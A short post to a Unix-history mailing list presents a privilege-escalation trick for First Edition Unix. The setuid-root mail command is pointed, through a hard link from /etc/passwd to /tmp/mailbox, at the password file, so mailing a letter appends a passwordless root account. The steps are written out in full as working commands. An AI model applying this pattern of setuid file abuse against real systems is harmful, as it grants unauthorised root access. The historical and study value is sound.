All work and no play... Here's a fun hack for first edition unix. From MAIL (I) : When followed by the names of a letter and one or more people, the letter is appended to each person's mailbox. Each letter is preceded by the sender's name and a postmark. A person is either the nameof an entry in the directory /usr, in which case the mail is sent to /usr/person/mailbox, or the path of a directory, in which case mailbox in that directory is used. Mail is setuid root: # ls -l /bin/mail 80 surwr- 1 root 3940 Jan 1 00:00:00 mail login as a non-root user (ie "bin"), create a file "letter" with the contents "hack::0:/:". Run: @ ln /etc/passwd /tmp/mailbox @ mail letter /tmp log out and log back in as "hack". You are now root. Cat /etc/passwd and notice: From bin Jan 1 00:49:22 hack::0:/: clean up the file a little and enjoy your new elevated status. Tim Newsham http://www.thenewsh.com/~newsham/ _______________________________________________ TUHS mailing list TUHS(a)minnie.tuhs.org https://minnie.tuhs.org/mailman/listinfo/tuhs